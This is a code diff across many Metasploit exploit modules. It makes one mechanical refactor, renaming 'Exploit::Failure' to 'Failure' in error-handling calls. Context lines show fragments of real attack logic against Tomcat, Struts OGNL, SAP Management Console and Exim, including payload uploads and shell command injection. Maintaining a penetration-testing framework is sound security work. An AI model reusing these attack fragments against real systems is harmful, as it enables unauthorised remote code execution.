|
||||
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
|
||||
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
|
||||
end
|
||||
|
||||
if (response.body !~ /"token"\s*value="([^"]*)"/)
|
||||
fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
|
||||
fail_with(Failure::NotFound, "Couldn't find token. Is URI set correctly?")
|
||||
else
|
||||
print_good("Retrieved token")
|
||||
end
|
||||
|
@ -142,7 +142,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if login.nil?
|
||||
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
|
||||
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
|
||||
end
|
||||
|
||||
token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
|
||||
|
@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if login_check.body =~ /Welcome to/
|
||||
fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
|
||||
fail_with(Failure::NoAccess, "Authentication failed.")
|
||||
else
|
||||
print_good("Authentication successful")
|
||||
end
|
||||
|
|
|
@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => post_data
|
||||
})
|
||||
if not res or res.code != 200
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||
end
|
||||
|
||||
upload_uri = "#{upload_dir}#{@payload_name}"
|
||||
|
|
|
@ -250,16 +250,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if check_secret(match[2],match[3])
|
||||
print_good("SECRET matches! Sending exploit payload")
|
||||
else
|
||||
fail_with(Exploit::Failure::BadConfig, "SECRET does not match")
|
||||
fail_with(Failure::BadConfig, "SECRET does not match")
|
||||
end
|
||||
else
|
||||
print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
|
||||
if cookie_name.nil? || cookie_name.empty?
|
||||
# This prevents trying to send busted cookies with no name
|
||||
fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given")
|
||||
fail_with(Failure::BadConfig, "No cookie found and no name given")
|
||||
end
|
||||
if datastore['VALIDATE_COOKIE']
|
||||
fail_with(Exploit::Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
|
||||
fail_with(Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
|
||||
else
|
||||
print_status("Trying to leverage default controller without cookie confirmation.")
|
||||
end
|
||||
|
|
|
@ -102,10 +102,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Successfully retrieved cookie: #{session}")
|
||||
return session
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Error retrieving cookie!")
|
||||
fail_with(Failure::Unknown, "Error retrieving cookie!")
|
||||
end
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Error logging in.")
|
||||
fail_with(Failure::Unknown, "Error logging in.")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -150,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Successfully uploaded #{newpage}")
|
||||
return res
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Error uploading #{newpage}")
|
||||
fail_with(Failure::Unknown, "Error uploading #{newpage}")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -164,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Successfully retrieved upload dir: #{upload_dir}")
|
||||
return upload_dir
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Error retrieving the upload dir")
|
||||
fail_with(Failure::Unknown, "Error retrieving the upload dir")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -167,7 +167,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{@peer} - Retrieving Tomcat installation path...")
|
||||
|
||||
if install_path.nil?
|
||||
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path")
|
||||
fail_with(Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path")
|
||||
end
|
||||
|
||||
print_good("#{@peer} - Tomcat installed on #{install_path}")
|
||||
|
|
|
@ -139,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
}
|
||||
else
|
||||
fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")
|
||||
fail_with(Failure::NotFound, "Unable to get session cookies")
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
|
@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}, 25)
|
||||
|
||||
if not res or res.code != 303
|
||||
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")
|
||||
fail_with(Failure::NoAccess, "Unable to authenticate")
|
||||
else
|
||||
session_id_port = ''
|
||||
session_id = ''
|
||||
|
|
|
@ -216,7 +216,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
}
|
||||
else
|
||||
fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")
|
||||
fail_with(Failure::NotFound, "Unable to get session cookies")
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
|
@ -233,7 +233,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if not res or res.code != 303
|
||||
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")
|
||||
fail_with(Failure::NoAccess, "Unable to authenticate")
|
||||
else
|
||||
session_id_port = ''
|
||||
session_id = ''
|
||||
|
@ -283,7 +283,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))
|
||||
print_status("#{app_name} successfully uploaded")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Error uploading")
|
||||
fail_with(Failure::Unknown, "Error uploading")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -297,7 +297,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
res.body.match(/FORM_KEY":\ "(\d+)"/)
|
||||
@csrf_form_key = $1
|
||||
fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
|
||||
fail_with(Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
|
||||
end
|
||||
|
||||
def fetch_job_output(job_id)
|
||||
|
|
|
@ -147,7 +147,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
when 'win'
|
||||
windows_stager
|
||||
else
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
|
||||
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
||||
end
|
||||
|
||||
handler
|
||||
|
|
|
@ -201,7 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
when 'java'
|
||||
java_stager
|
||||
else
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
|
||||
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
||||
end
|
||||
|
||||
handler
|
||||
|
|
|
@ -117,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@payload_exe = "./#{@payload_exe}.exe"
|
||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
|
||||
else
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
|
||||
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
||||
end
|
||||
|
||||
#Now with all the arch specific stuff set, perform the upload.
|
||||
|
|
|
@ -170,7 +170,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if res.nil? or res.code != 200
|
||||
fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
|
||||
fail_with(Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
|
||||
end
|
||||
|
||||
proof = rand_text_alpha(6 + rand(4))
|
||||
|
@ -188,7 +188,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")
|
||||
fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")
|
||||
|
||||
end
|
||||
|
||||
|
@ -220,7 +220,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if res.nil? or res.code != 302
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -244,7 +244,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if res.nil? or res.code != 302
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -261,7 +261,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if res.nil? or res.code != 302
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -290,7 +290,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if res.nil? or res.code != 302
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -315,12 +315,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if my_target.name =~ /Linux/
|
||||
if datastore['PAYLOAD'] =~ /windows/
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
|
||||
end
|
||||
exploit_linux
|
||||
elsif my_target.name =~ /Windows/
|
||||
if datastore['PAYLOAD'] =~ /linux/
|
||||
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
|
||||
end
|
||||
exploit_windows
|
||||
end
|
||||
|
@ -347,7 +347,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -135,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@payload_exe = "./#{@payload_exe}.exe"
|
||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
|
||||
else
|
||||
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
|
||||
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
||||
end
|
||||
|
||||
print_status("Preparing payload...")
|
||||
|
|
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
res = send_request_cgi(request_parameters)
|
||||
if not (res and res.code == 200)
|
||||
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
|
||||
fail_with(Failure::Unknown, 'Failed to execute the command.')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -165,7 +165,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (target.name =~ /Automatic/)
|
||||
mytarget = auto_target
|
||||
if (not mytarget)
|
||||
fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||
end
|
||||
print_status("Automatically selected target \"#{mytarget.name}\"")
|
||||
else
|
||||
|
@ -201,14 +201,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => war,
|
||||
}, 20)
|
||||
if (! res)
|
||||
fail_with(Exploit::Failure::Unknown, "Upload failed on #{path_tmp} [No Response]")
|
||||
fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]")
|
||||
end
|
||||
if (res.code < 200 or res.code >= 300)
|
||||
case res.code
|
||||
when 401
|
||||
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
end
|
||||
fail_with(Exploit::Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
|
||||
fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
||||
report_auth_info(
|
||||
|
|
|
@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
if not (res and res.code == 200)
|
||||
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
|
||||
fail_with(Failure::Unknown, 'Failed to execute the command.')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res and res.headers['Set-Cookie']
|
||||
cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{@peer} - No cookie found, will not continue")
|
||||
fail_with(Failure::Unknown, "#{@peer} - No cookie found, will not continue")
|
||||
end
|
||||
|
||||
cookie
|
||||
|
@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
login[name] = value
|
||||
end
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{@peer} - Unable to find the hidden fieldset required for login")
|
||||
fail_with(Failure::Unknown, "#{@peer} - Unable to find the hidden fieldset required for login")
|
||||
end
|
||||
|
||||
# Add the rest of fields required for login
|
||||
|
@ -149,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cookie_cred = "#{cookie}; #{user}; #{pass}"
|
||||
else
|
||||
cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
|
||||
fail_with(Exploit::Failure::Unknown, "#{@peer} - Unable to login with \"#{cred}\"")
|
||||
fail_with(Failure::Unknown, "#{@peer} - Unable to login with \"#{cred}\"")
|
||||
end
|
||||
|
||||
return cookie_cred
|
||||
|
@ -173,7 +173,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fields[n] = v
|
||||
end
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{@peer} - Cannot get necessary fields before posting a comment")
|
||||
fail_with(Failure::Unknown, "#{@peer} - Cannot get necessary fields before posting a comment")
|
||||
end
|
||||
|
||||
# Generate enough URLs to trigger spam logging
|
||||
|
|
|
@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res and res.code == 302
|
||||
print_status("Upload finished, waiting 20 seconds for payload deployment...")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Failed to upload payload")
|
||||
fail_with(Failure::Unknown, "Failed to upload payload")
|
||||
end
|
||||
|
||||
# Wait to ensure the uploaded war is deployed
|
||||
|
|
|
@ -104,7 +104,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return targets[2]
|
||||
end
|
||||
|
||||
fail_with(Msf::Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'")
|
||||
fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'")
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -212,11 +212,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']
|
||||
|
||||
if(not cookie_name)
|
||||
fail_with(Exploit::Failure::Unknown, "The COOKIENAME option must be set")
|
||||
fail_with(Failure::Unknown, "The COOKIENAME option must be set")
|
||||
end
|
||||
|
||||
if(not uri_path)
|
||||
fail_with(Exploit::Failure::Unknown, "The URI option must be set")
|
||||
fail_with(Failure::Unknown, "The URI option must be set")
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
|
@ -316,11 +316,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']
|
||||
|
||||
if(not cookie_name)
|
||||
fail_with(Exploit::Failure::Unknown, "The COOKIENAME option must be set")
|
||||
fail_with(Failure::Unknown, "The COOKIENAME option must be set")
|
||||
end
|
||||
|
||||
if(not uri_path)
|
||||
fail_with(Exploit::Failure::Unknown, "The URI option must be set")
|
||||
fail_with(Failure::Unknown, "The URI option must be set")
|
||||
end
|
||||
|
||||
# Generate and reuse the original buffer to save CPU
|
||||
|
@ -418,7 +418,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_line("*" * 40)
|
||||
print_line('')
|
||||
|
||||
fail_with(Exploit::Failure::Unknown, "Exploit settings are probably wrong")
|
||||
fail_with(Failure::Unknown, "Exploit settings are probably wrong")
|
||||
end
|
||||
else
|
||||
print_status("No response from the server")
|
||||
|
|
|
@ -166,7 +166,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
return nil
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -257,7 +257,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
begin
|
||||
res = send_soap_request("/bin/sh -c #{cmd}")
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
||||
end
|
||||
handle_response(res)
|
||||
|
||||
|
@ -279,7 +279,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
begin
|
||||
res = send_soap_request("/bin/sh -c #{cmd}")
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
||||
end
|
||||
handle_response(res)
|
||||
|
||||
|
@ -291,7 +291,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
begin
|
||||
res = send_soap_request("/bin/sh -c #{cmd}")
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service")
|
||||
end
|
||||
handle_response(res)
|
||||
end
|
||||
|
@ -317,7 +317,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
select(nil, nil, nil, 1)
|
||||
waited += 1
|
||||
if (waited > datastore['HTTP_DELAY'])
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -335,7 +335,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
begin
|
||||
res = send_soap_request("cmd /c #{payload.strip}")
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access SAP service")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access SAP service")
|
||||
end
|
||||
handle_response(res)
|
||||
end
|
||||
|
@ -343,17 +343,17 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
|
||||
def handle_response(res)
|
||||
if (res and res.code != 500 and res.code != 200)
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Invalid server response")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Invalid server response")
|
||||
elsif res and res.code == 500
|
||||
body = res.body
|
||||
if body.match(/Invalid Credentials/i)
|
||||
print_error("#{rhost}:#{rport} - The Supplied credentials are incorrect")
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
|
||||
elsif body.match(/Permission denied/i)
|
||||
print_error("#{rhost}:#{rport} - The Supplied credentials are valid, but lack OSExecute permissions")
|
||||
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials")
|
||||
end
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit not complete, OSExecute isn't working")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit not complete, OSExecute isn't working")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -150,7 +150,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
if res and res.code == 200 and res.body =~ /External program terminated/
|
||||
print_good("#{rhost}:#{rport} - Payload dump was successful")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")
|
||||
end
|
||||
stage_two = create_unix_payload(2,file)
|
||||
print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...")
|
||||
|
@ -192,10 +192,10 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
vprint_error("#{rhost}:#{rport} - Error #{error[i]}")
|
||||
end
|
||||
end
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -152,7 +152,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
if res and res.code == 200 and res.body =~ /External program terminated/
|
||||
print_good("#{rhost}:#{rport} - Payload dump was successful")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")
|
||||
end
|
||||
stage_two = create_unix_payload(2,file)
|
||||
print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...")
|
||||
|
@ -195,10 +195,10 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
print_status("#{res.code}\n#{res.body}")
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -108,17 +108,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
begin
|
||||
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
|
||||
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||
fail_with(Exploit::Failure::Unreachable, 'Disconnected during negotiation')
|
||||
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
fail_with(Exploit::Failure::Disconnected, 'Timed out during negotiation')
|
||||
fail_with(Failure::Disconnected, 'Timed out during negotiation')
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
fail_with(Exploit::Failure::NoAccess, 'Failed authentication')
|
||||
fail_with(Failure::NoAccess, 'Failed authentication')
|
||||
rescue Net::SSH::Exception => e
|
||||
fail_with(Exploit::Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
|
||||
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
|
||||
end
|
||||
|
||||
if not self.ssh_socket
|
||||
fail_with(Exploit::Failure::Unknown)
|
||||
fail_with(Failure::Unknown)
|
||||
end
|
||||
return
|
||||
end
|
||||
|
|
|
@ -108,12 +108,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if (sock.put(buf) || 0) == 0 and index < 3
|
||||
print_error("Error transmitting buffer.")
|
||||
fail_with(Exploit::Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors']
|
||||
fail_with(Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors']
|
||||
end
|
||||
|
||||
if index == 3 and trash.length > 0
|
||||
print_error("Received data when we shouldn't have")
|
||||
fail_with(Exploit::Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors']
|
||||
fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors']
|
||||
end
|
||||
}
|
||||
|
||||
|
|
|
@ -437,7 +437,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("The system #{rhost} did not reply to our M-SEARCH probe")
|
||||
end
|
||||
|
||||
fail_with(Exploit::Failure::NoTarget, "No compatible target detected")
|
||||
fail_with(Failure::NoTarget, "No compatible target detected")
|
||||
end
|
||||
|
||||
# Accessor for our TCP payload stager
|
||||
|
|
|
@ -258,7 +258,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#
|
||||
def use_zlib
|
||||
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
|
||||
fail_with(Exploit::Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
|
||||
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check_dependencies
|
||||
@zip = (Rex::FileUtils::find_full_path('7za') || Rex::FileUtils::find_full_path('7za.exe'))
|
||||
return if @zip
|
||||
fail_with(Exploit::Failure::Unknown, "This exploit requires the zip command to be installed in your path")
|
||||
fail_with(Failure::Unknown, "This exploit requires the zip command to be installed in your path")
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
|
|
@ -173,7 +173,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
upnp_port = scan_for_upnp_port()
|
||||
|
||||
if upnp_port == 0
|
||||
fail_with(Exploit::Failure::Unreachable, "Could not find listening UPNP UDP socket")
|
||||
fail_with(Failure::Unreachable, "Could not find listening UPNP UDP socket")
|
||||
end
|
||||
|
||||
datastore['RPORT'] = upnp_port
|
||||
|
|
|
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}, 10)
|
||||
|
||||
if not (res and res.headers['set-cookie'])
|
||||
fail_with(Exploit::Failure::NotFound, 'Could not obtain a Session ID')
|
||||
fail_with(Failure::NotFound, 'Could not obtain a Session ID')
|
||||
end
|
||||
|
||||
sessionid = 'PHPSESSID=' << res.headers['set-cookie'].split('PHPSESSID=')[1].split('; ')[0]
|
||||
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}, 10)
|
||||
|
||||
if not res
|
||||
fail_with(Exploit::Failure::NotFound, 'Could not validate the Session ID')
|
||||
fail_with(Failure::NotFound, 'Could not validate the Session ID')
|
||||
return
|
||||
end
|
||||
|
||||
|
|
|
@ -110,11 +110,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Server: #{self.banner.to_s.strip}")
|
||||
if self.banner.to_s !~ /Exim /
|
||||
disconnect
|
||||
fail_with(Exploit::Failure::NoTarget, "The target server is not running Exim!")
|
||||
fail_with(Failure::NoTarget, "The target server is not running Exim!")
|
||||
end
|
||||
|
||||
if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
|
||||
fail_with(Exploit::Failure::Unknown, "Warning: This version of Exim is not exploitable")
|
||||
fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
|
||||
end
|
||||
|
||||
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
|
||||
|
@ -153,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
resp ||= 'no response'
|
||||
msg = "MAIL: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
fail_with(Exploit::Failure::Unknown, msg)
|
||||
fail_with(Failure::Unknown, msg)
|
||||
else
|
||||
print_status(msg)
|
||||
end
|
||||
|
@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
resp ||= 'no response'
|
||||
